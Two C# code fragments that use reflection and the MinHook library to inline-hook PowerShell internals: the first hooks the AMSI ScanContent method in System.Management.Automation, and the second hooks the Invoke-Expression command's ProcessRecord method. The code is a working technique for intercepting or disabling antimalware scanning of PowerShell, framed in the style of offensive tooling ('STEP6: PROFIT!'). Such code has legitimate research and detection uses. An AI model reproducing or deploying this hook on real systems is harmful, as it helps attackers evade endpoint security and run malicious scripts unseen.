OnAssemblyLoad( object Sender, AssemblyLoadEventArgs Args ) { // // STEP1: Wait for System.Management.Automation (SMA) // string assemblyName = Args.LoadedAssembly.GetName().Name; Console.WriteLine("[*] Loading assembly " + assemblyName); if (assemblyName != "System.Management.Automation") { return; } AppDomain.CurrentDomain.AssemblyLoad -= s_EventHandler; Assembly smaAssembly = Args.LoadedAssembly; // // You may want to break into a debugger for debugging. // //Debugger.Launch(); // // STEP2: Determine a version of SMA // // Need a version of SMA since the ScanContent method exists only // in PowerShell v5 or later. PowerShell version can be obtained // via the PSVersion property of the PSVersionInfo class. // Type psVersionInfo = smaAssembly.GetType( "System.Management.Automation.PSVersionInfo"); PropertyInfo psVersion = psVersionInfo.GetProperty( "PSVersion", BindingFlags.Static | BindingFlags.NonPublic, null, typeof(Version), Type.EmptyTypes, null); var version = (Version)psVersion.GetValue(null, null); if (version.Major != 5) { Console.WriteLine("[-] Unsupported PowerShell version detected."); return; } // // STEP3: Find methods via reflection // // We need tree methods per target method: // target - A method to be hooked. It normally exists out side of // our code. // handler - A detour method to be called instead of the target // method after a hook is installed. // trampoline - A method used to call an original of the target // method after a hook is installed. // const BindingFlags anyType = BindingFlags.Static | BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic; // // Indicates what parameters the methods take. Reflection requires // this information on the top of a method name since a method can // be overloaded for a different set of parameters. // // In our case, the methods are defined as follows: // static AMSI_RESULT ScanContent(string Content, // string SourceMetadata); // static AMSI_RESULT ScanContentHookHandler(string Content, // string SourceMetadata); // static AMSI_RESULT ScanContentTrampoline(string Content, // string SourceMetadata); // var targetMethodType = new Type[] { typeof(string), typeof(string), }; var handlerMethodType = new Type[] { typeof(string), typeof(string), }; var trampolineMethodType = new Type[] { typeof(string), typeof(string), }; Type targetMethodClass = smaAssembly.GetType( "System.Management.Automation.AmsiUtils"); Type handlerMethodClass = typeof(HookScanContent); Type trampolineMethodClass = typeof(HookScanContent); MethodInfo target = targetMethodClass.GetMethod( "ScanContent", anyType, null, targetMethodType, null); MethodInfo hookHandler = handlerMethodClass.GetMethod( "ScanContentHookHandler", anyType, null, handlerMethodType, null); MethodInfo trampoline = trampolineMethodClass.GetMethod( "ScanContentTrampoline", anyType, null, trampolineMethodType, null); // // STEP4: Get addresses of native code of the methods // RuntimeHelpers.PrepareMethod(target.MethodHandle); RuntimeHelpers.PrepareMethod(hookHandler.MethodHandle); RuntimeHelpers.PrepareMethod(trampoline.MethodHandle); IntPtr targetAddr = target.MethodHandle.GetFunctionPointer(); IntPtr hookHandlerAddr = hookHandler.MethodHandle.GetFunctionPointer(); IntPtr trampolineAddr = trampoline.MethodHandle.GetFunctionPointer(); // // STEP5: Install a hook on to the target method // // Overwrite native code of the ScanContent method. This is standard // inline hooking, only differences are that we initiate hooking // from C# (typically C/C++) and a target is compiled .NET native // code. // // This example code uses MinHook (https://github.com/TsudaKageyu/minhook) // for installing hooks since the author did not find any suitable // inline hooking library for C#. // if (!MinHook.InstallHook(targetAddr, hookHandlerAddr, trampolineAddr)) { return; } // // STEP6: PROFIT! // Console.WriteLine("[*] The ScanContent method has been hooked."); }
OnAssemblyLoad( object Sender, AssemblyLoadEventArgs Args ) { // // STEP1: Wait for Microsoft.PowerShell.Commands.Utility (MPCU) // string assemblyName = Args.LoadedAssembly.GetName().Name; Console.WriteLine("[*] Loading assembly " + assemblyName); if (assemblyName != "Microsoft.PowerShell.Commands.Utility") { return; } AppDomain.CurrentDomain.AssemblyLoad -= s_EventHandler; Assembly mpcuAssembly = Args.LoadedAssembly; // // You may want to break into a debugger for debugging. // //Debugger.Launch(); // // STEP2: Find methods via reflection // const BindingFlags anyType = BindingFlags.Static | BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic; var targetMethodType = Type.EmptyTypes; var handlerMethodType = new Type[] { typeof(HookProcessRecord), }; var trampolineMethodType = Type.EmptyTypes; Type targetMethodClass = mpcuAssembly.GetType( "Microsoft.PowerShell.Commands.InvokeExpressionCommand"); Type handlerMethodClass = typeof(HookProcessRecord); Type trampolineMethodClass = typeof(HookProcessRecord); MethodInfo target = targetMethodClass.GetMethod( "ProcessRecord", anyType, null, targetMethodType, null); MethodInfo hookHandler = handlerMethodClass.GetMethod( "ProcessRecordHookHandler", anyType, null, handlerMethodType, null); MethodInfo trampoline = trampolineMethodClass.GetMethod( "ProcessRecordTrampoline", anyType, null, trampolineMethodType, null); // // STEP4: Get addresses of native code of the methods // RuntimeHelpers.PrepareMethod(target.MethodHandle); RuntimeHelpers.PrepareMethod(hookHandler.MethodHandle); RuntimeHelpers.PrepareMethod(trampoline.MethodHandle); IntPtr targetAddr = target.MethodHandle.GetFunctionPointer(); IntPtr hookHandlerAddr = hookHandler.MethodHandle.GetFunctionPointer(); IntPtr trampolineAddr = trampoline.MethodHandle.GetFunctionPointer(); // // STEP5: Install a hook on to the target method // if (!MinHook.InstallHook(targetAddr, hookHandlerAddr, trampolineAddr)) { return; } // // STEP6: PROFIT! // Console.WriteLine("[*] The ProcessRecord method has been hooked."); }